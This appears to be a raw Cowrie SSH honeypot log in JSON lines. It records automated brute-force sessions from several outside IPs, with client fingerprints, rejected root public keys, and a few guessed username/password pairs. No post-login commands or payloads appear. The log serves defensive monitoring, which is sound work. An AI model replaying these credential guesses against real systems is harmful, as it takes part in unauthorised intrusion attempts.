{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cd:0b:4f:49:0c:58:3c:54:93:79:da:0a:02:a8:45:c9","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJNOj/EVNLkCLCbhSZQFuOKrLJiSMOXagqkGF8N3HPjOtBtV3rYmtv7eBKROvZAOqWhm1Q3VCxSY0IJ7XYTslZWmVCRAoIBgISVrsrasA4HsIAD5fFHxv3OK6/z4tRz3fRxvMvp/2VFilgbsIYaApiQZ67t9n5asSsiACbHlpXOVAAAAFQD28dliex3bXMBc/5UlUv29J8iVfwAAAIAnI751hwmXK7AalH/xYqHIuU6byRKWXSYqN1OLem7uxoEfbWX05c2qeQgYpnWLGV4ZMtbd7PuFakr3+GKRbfsnUuzcrgz3cnaaIwCLsrq68Xo+SLXkRNeGsZbWz5ywxpoI+FWEqlDzklaMcaYTBQL4eALjUYojLXdLZWvGTJeesAAAAIACaUV65i2TGXnaeMsd8+SQgpEQ4ldS6helPksugrP4+7sSEZqSFk3QgPuRETHUieoCB/qNdksABdrDvmN7AFu3quARsSzQ7BF6J+f04G4lRDXfMrWIsZXHU3xwYwYN7/lSFG88FS4afDPj3LAfvOFK63cQs+zCUpbXS5oPMXB55A==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint cd:0b:4f:49:0c:58:3c:54:93:79:da:0a:02:a8:45:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:25:17.419162Z","src_ip":"185.255.100.194","session":"3c58bc3a30a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cd:0b:4f:49:0c:58:3c:54:93:79:da:0a:02:a8:45:c9","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJNOj/EVNLkCLCbhSZQFuOKrLJiSMOXagqkGF8N3HPjOtBtV3rYmtv7eBKROvZAOqWhm1Q3VCxSY0IJ7XYTslZWmVCRAoIBgISVrsrasA4HsIAD5fFHxv3OK6/z4tRz3fRxvMvp/2VFilgbsIYaApiQZ67t9n5asSsiACbHlpXOVAAAAFQD28dliex3bXMBc/5UlUv29J8iVfwAAAIAnI751hwmXK7AalH/xYqHIuU6byRKWXSYqN1OLem7uxoEfbWX05c2qeQgYpnWLGV4ZMtbd7PuFakr3+GKRbfsnUuzcrgz3cnaaIwCLsrq68Xo+SLXkRNeGsZbWz5ywxpoI+FWEqlDzklaMcaYTBQL4eALjUYojLXdLZWvGTJeesAAAAIACaUV65i2TGXnaeMsd8+SQgpEQ4ldS6helPksugrP4+7sSEZqSFk3QgPuRETHUieoCB/qNdksABdrDvmN7AFu3quARsSzQ7BF6J+f04G4lRDXfMrWIsZXHU3xwYwYN7/lSFG88FS4afDPj3LAfvOFK63cQs+zCUpbXS5oPMXB55A==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:25:17.424189Z","src_ip":"185.255.100.194","session":"3c58bc3a30a5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:37:34:1b:16:22:f8:61:cc:28:0a:7a:5d:5b:ee:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA8WKWhMfn+WWQi1MVLyd+FlXXWmkS5j2/VYPVjp72ultUANNCIwS5lEzCj4uvz/q9EBaBnx1WU02Kw9RQm225ooNhirRKSPQG/5TWFZHDTV1Zl6D1f6H7b5VWhrr7Dj3WBa3gjVjq7KcpXJEBds7pdF51Qwj6EIYi81uBXdWd0IFsNIc4ytraGWIz9YumlqtLRWTKzxCyS96D41w89z3tDqJr+fIn+iRkUHToG9JooQw65Vzgj+gHF8Zd3VmBcdDD6ykhTeGlGrovEo+mM/IzJI5r3rZLgSQwvo1194VyNQjLe/TDeIf9IdlvFcdH5Iht7OQOHF1z/VU2NaBUbOTV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint af:37:34:1b:16:22:f8:61:cc:28:0a:7a:5d:5b:ee:0f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:25:17.434375Z","src_ip":"185.255.100.194","session":"3c58bc3a30a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:37:34:1b:16:22:f8:61:cc:28:0a:7a:5d:5b:ee:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA8WKWhMfn+WWQi1MVLyd+FlXXWmkS5j2/VYPVjp72ultUANNCIwS5lEzCj4uvz/q9EBaBnx1WU02Kw9RQm225ooNhirRKSPQG/5TWFZHDTV1Zl6D1f6H7b5VWhrr7Dj3WBa3gjVjq7KcpXJEBds7pdF51Qwj6EIYi81uBXdWd0IFsNIc4ytraGWIz9YumlqtLRWTKzxCyS96D41w89z3tDqJr+fIn+iRkUHToG9JooQw65Vzgj+gHF8Zd3VmBcdDD6ykhTeGlGrovEo+mM/IzJI5r3rZLgSQwvo1194VyNQjLe/TDeIf9IdlvFcdH5Iht7OQOHF1z/VU2NaBUbOTV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:25:17.438761Z","src_ip":"185.255.100.194","session":"3c58bc3a30a5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:3a:23:90:76:27:c6:dc:92:8f:e2:03:b8:98:81:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCfLndir90Y3ykNDLil6SNGOZf0wWhbVj5G8zLrvnhEvNPBAaQZcjNrF7ldanQL7WGABAGdtRZv5BmX5+OVF160S5RbZ2t/+Xcd9qSdlXHAE5fLkhJSDgNGjZlEw9A24CMHk8mexoYf42gJ3r67n1aVLKR/TAcAf3JgoXGMS+OPUsK0+q0SM5daXDGPiLeqQtg7galcbUE/L1MBW1A1ATR8aZF3wOSQVECRUnsEYrHbi+yO4JGvb+hG8Ta5rllElAdTD8vJNhSjZl4Svt0AO3qG0OTDkB50ZU98/AGNfriftgr2sECGb6o8p+wrdD8zJUW4E2ndsrKI5QxvmpgG/PXQYZU6UIGtWuVj3P+9AXCgsX5QhPHVah77OQLBC0NWk7vfprUomrbam+rNR84bGHmTRMslp93widHRx4wbA5dg8E92aJEBCFcT4iLBARfqLb4PMXYWh8YZTqE4nI+v0fqsePe71+sLSb3bsc5BrRbPZjiBAVj52OLLZoiqj9R0qwE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 69:3a:23:90:76:27:c6:dc:92:8f:e2:03:b8:98:81:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:25:17.452260Z","src_ip":"185.255.100.194","session":"3c58bc3a30a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:3a:23:90:76:27:c6:dc:92:8f:e2:03:b8:98:81:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCfLndir90Y3ykNDLil6SNGOZf0wWhbVj5G8zLrvnhEvNPBAaQZcjNrF7ldanQL7WGABAGdtRZv5BmX5+OVF160S5RbZ2t/+Xcd9qSdlXHAE5fLkhJSDgNGjZlEw9A24CMHk8mexoYf42gJ3r67n1aVLKR/TAcAf3JgoXGMS+OPUsK0+q0SM5daXDGPiLeqQtg7galcbUE/L1MBW1A1ATR8aZF3wOSQVECRUnsEYrHbi+yO4JGvb+hG8Ta5rllElAdTD8vJNhSjZl4Svt0AO3qG0OTDkB50ZU98/AGNfriftgr2sECGb6o8p+wrdD8zJUW4E2ndsrKI5QxvmpgG/PXQYZU6UIGtWuVj3P+9AXCgsX5QhPHVah77OQLBC0NWk7vfprUomrbam+rNR84bGHmTRMslp93widHRx4wbA5dg8E92aJEBCFcT4iLBARfqLb4PMXYWh8YZTqE4nI+v0fqsePe71+sLSb3bsc5BrRbPZjiBAVj52OLLZoiqj9R0qwE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:25:17.463409Z","src_ip":"185.255.100.194","session":"3c58bc3a30a5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a3:40:95:b1:85:4f:be:96:32:82:57:2c:b5:78:22:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/gCh4D7Di84l1xM3j+SagNM3IBakGAywJQewzJLN/P0D8zZP/NkJMDsPUdeO/XBi4614o7qB3Xeb3t2RsiixnBF3L+hVZSWo1fCaSgyADO3rJDxJndKY3KQlrNVhR1b8GK8KkXGVtjJfn3AHAc8+fMYI8pMqQM5aUTGDkJ8BTX1fPvECFnASH8KkSm8dCekaulE47GTZ/7pGrvWCPlpqhLIWLThfXxWcDy6yaGz2mqux+7vpzrc1wAnzy6sLjdiwEFyqDTXu7P6Bc4tAeAuMjFGkUsmMZqYmFTKlgHGQtsyQUWZ7x2481FAfoxnoaw5ntLcHWQY0mqK6J+Oape1eT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a3:40:95:b1:85:4f:be:96:32:82:57:2c:b5:78:22:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:25:17.485937Z","src_ip":"185.255.100.194","session":"3c58bc3a30a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a3:40:95:b1:85:4f:be:96:32:82:57:2c:b5:78:22:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/gCh4D7Di84l1xM3j+SagNM3IBakGAywJQewzJLN/P0D8zZP/NkJMDsPUdeO/XBi4614o7qB3Xeb3t2RsiixnBF3L+hVZSWo1fCaSgyADO3rJDxJndKY3KQlrNVhR1b8GK8KkXGVtjJfn3AHAc8+fMYI8pMqQM5aUTGDkJ8BTX1fPvECFnASH8KkSm8dCekaulE47GTZ/7pGrvWCPlpqhLIWLThfXxWcDy6yaGz2mqux+7vpzrc1wAnzy6sLjdiwEFyqDTXu7P6Bc4tAeAuMjFGkUsmMZqYmFTKlgHGQtsyQUWZ7x2481FAfoxnoaw5ntLcHWQY0mqK6J+Oape1eT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:25:17.494861Z","src_ip":"185.255.100.194","session":"3c58bc3a30a5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9d:f2:32:e5:af:70:33:94:ed:44:49:43:c9:55:96:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCaMMzMCqUgiDWrYwSZOLYzPQEuHskcIHzEkGaU7zPQAPgsziiQx6nfDzYEpBdb9F6Y8B/kWmkLYoOwVjxgP4nO7ULOySSx1QHqMVJ2rpdmuaTUj7iXjLKpQJAZ6IQCTVNRnC3wJAUc0AcJ/QVgYtFbQeRL8Cs42zchcGCkszTCQBHw+g2FKWh6k1DRt/mbH9ah7yzhFcQSX6NY88TNWDf3GhsYOcwDwWhvmUe+bJo3GC+k/OVMwjSixKEIBOMcIuKSeAmXE0wZz1uiens4w8ULwxhI4RbXy8idqQ7L+MKeLaAz5W28FmdxHTCtxYtJIr77wQ/2LkZkH0Ju5VqwCC/5P/S8XGhN1T6BNESo7IPllh6fz19xmFcQfaXdPzpWp/1K15faTT61r34sz1WAusFk3AV/cJBE4F84tIg/mMGu3WE4ABZgCjL4vJcrvQ/ZhIh+qiSvvRnXbY+4HOZVPQDvYrfbThq0TPCd92bz0HYODJUfGzfAUZ/IChJIrszfsepqA6nduuLoAURaf9vLZolNWQ26lNuMMoO7s5aak0NhHNMct4fIj9ncvAALw+d+joycHAlJrMaP/dxhhFFSO0lf0dG2nnrNVIv8BIhx83bb+GoWpwlplQ70cLOcdghzIMaGHm3cPYktf2N5eqtEmhRRg/sEk1KUFSNMA0aDTKyDyw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9d:f2:32:e5:af:70:33:94:ed:44:49:43:c9:55:96:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:25:17.509437Z","src_ip":"185.255.100.194","session":"3c58bc3a30a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9d:f2:32:e5:af:70:33:94:ed:44:49:43:c9:55:96:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCaMMzMCqUgiDWrYwSZOLYzPQEuHskcIHzEkGaU7zPQAPgsziiQx6nfDzYEpBdb9F6Y8B/kWmkLYoOwVjxgP4nO7ULOySSx1QHqMVJ2rpdmuaTUj7iXjLKpQJAZ6IQCTVNRnC3wJAUc0AcJ/QVgYtFbQeRL8Cs42zchcGCkszTCQBHw+g2FKWh6k1DRt/mbH9ah7yzhFcQSX6NY88TNWDf3GhsYOcwDwWhvmUe+bJo3GC+k/OVMwjSixKEIBOMcIuKSeAmXE0wZz1uiens4w8ULwxhI4RbXy8idqQ7L+MKeLaAz5W28FmdxHTCtxYtJIr77wQ/2LkZkH0Ju5VqwCC/5P/S8XGhN1T6BNESo7IPllh6fz19xmFcQfaXdPzpWp/1K15faTT61r34sz1WAusFk3AV/cJBE4F84tIg/mMGu3WE4ABZgCjL4vJcrvQ/ZhIh+qiSvvRnXbY+4HOZVPQDvYrfbThq0TPCd92bz0HYODJUfGzfAUZ/IChJIrszfsepqA6nduuLoAURaf9vLZolNWQ26lNuMMoO7s5aak0NhHNMct4fIj9ncvAALw+d+joycHAlJrMaP/dxhhFFSO0lf0dG2nnrNVIv8BIhx83bb+GoWpwlplQ70cLOcdghzIMaGHm3cPYktf2N5eqtEmhRRg/sEk1KUFSNMA0aDTKyDyw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:25:17.513020Z","src_ip":"185.255.100.194","session":"3c58bc3a30a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:25:17.529723Z","src_ip":"185.255.100.194","session":"3c58bc3a30a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:25:17.584447Z","src_ip":"45.173.103.113","session":"d6f311b2c5df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":38848,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e122b7f1d77","protocol":"ssh","message":"New connection: 87.251.79.125:38848 (10.17.0.5:22) [session: 2e122b7f1d77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:26:12.362653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:26:12.368812Z","src_ip":"87.251.79.125","session":"2e122b7f1d77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:26:12.443459Z","src_ip":"87.251.79.125","session":"2e122b7f1d77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xxx333","message":"login attempt [root/xxx333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:26:12.683635Z","src_ip":"87.251.79.125","session":"2e122b7f1d77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:26:13.758850Z","src_ip":"87.251.79.125","session":"2e122b7f1d77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.135.235.126","src_port":34958,"dst_ip":"10.17.0.5","dst_port":22,"session":"df996035b066","protocol":"ssh","message":"New connection: 115.135.235.126:34958 (10.17.0.5:22) [session: df996035b066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:26:39.687123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:26:39.693843Z","src_ip":"115.135.235.126","session":"df996035b066","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:26:39.974394Z","src_ip":"115.135.235.126","session":"df996035b066","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mahesh","password":"mahesh","message":"login attempt [mahesh/mahesh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:26:41.175315Z","src_ip":"115.135.235.126","session":"df996035b066","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:26:42.479317Z","src_ip":"115.135.235.126","session":"df996035b066","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.194.10.248","src_port":55056,"dst_ip":"10.17.0.5","dst_port":22,"session":"564af05d6e4d","protocol":"ssh","message":"New connection: 104.194.10.248:55056 (10.17.0.5:22) [session: 564af05d6e4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:27:53.076547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:27:53.081623Z","src_ip":"104.194.10.248","session":"564af05d6e4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:27:53.090316Z","src_ip":"104.194.10.248","session":"564af05d6e4d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:84:28:5e:19:b7:a8:e2:8f:c7:e0:ef:86:c1:45:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcor5KpzH6eCfzkwhQ5pPJxH8lSzymrqAvb3sDTmkIG8eDolpt1SACEUgR4nscD8mQyW4uPm4Kdss88RVRpiMnx2exoG9J1pIsx1Gge2c+DhXFxWesvj9YXsMwAMYM6OjyTTmd+VrNO72sqKkQ5QPBai7ha27RPELnk16e2mtC2+9XhH5V2emfFDcNMAwG3e/O9U+EpyA44eyKXJ0axyKLUrKgMaG5wX0YDKWuu1c9BRtnbx5V2CNzkOoZbrsqVAb9m0zlI6kYzN/1g5IOI90xutdDACq27aTdCXRCjUIdSe/XJ9k2Y90auNe5Gxm0uaU08uGg3Viki6pTi96Dnqy3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:84:28:5e:19:b7:a8:e2:8f:c7:e0:ef:86:c1:45:30","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:27:53.108585Z","src_ip":"104.194.10.248","session":"564af05d6e4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:84:28:5e:19:b7:a8:e2:8f:c7:e0:ef:86:c1:45:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcor5KpzH6eCfzkwhQ5pPJxH8lSzymrqAvb3sDTmkIG8eDolpt1SACEUgR4nscD8mQyW4uPm4Kdss88RVRpiMnx2exoG9J1pIsx1Gge2c+DhXFxWesvj9YXsMwAMYM6OjyTTmd+VrNO72sqKkQ5QPBai7ha27RPELnk16e2mtC2+9XhH5V2emfFDcNMAwG3e/O9U+EpyA44eyKXJ0axyKLUrKgMaG5wX0YDKWuu1c9BRtnbx5V2CNzkOoZbrsqVAb9m0zlI6kYzN/1g5IOI90xutdDACq27aTdCXRCjUIdSe/XJ9k2Y90auNe5Gxm0uaU08uGg3Viki6pTi96Dnqy3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:27:53.112405Z","src_ip":"104.194.10.248","session":"564af05d6e4d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:ad:31:b9:48:26:97:0a:56:b1:40:ad:bf:a0:8a:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDptyZ/fihKTVRRIv003CxO5JY1rshI3zs2x0oZ/0bMVJMarY8ln9MM+mlqDZkamMFnro7QFA//mK41ozkWtC9o5Hsc50GDU2io2yON4Hc5VHiPJ0nDDEFKT73/Xse+oCH7D/KMqO7AKayhOXJaKmdXXWfCtSCjzhVAYdsAPMP4hmSJU9wvnVUTAMFfsePdBE92/V9srR1SAxdGmemzlWwMixWS2VEVUgdE0M5KYeOc9Lwl8UmBUm2WFdQtJGccfGbqzC9cDWRpWzNAthDxXp2B8osj7hLQxPWm5S67jeS4A8Y+tTWF97vTSp1cIkVPr3kqgyVM7zAcn7gl8cAsBnth","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:ad:31:b9:48:26:97:0a:56:b1:40:ad:bf:a0:8a:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:27:53.123859Z","src_ip":"104.194.10.248","session":"564af05d6e4d","protocol":"ssh"}
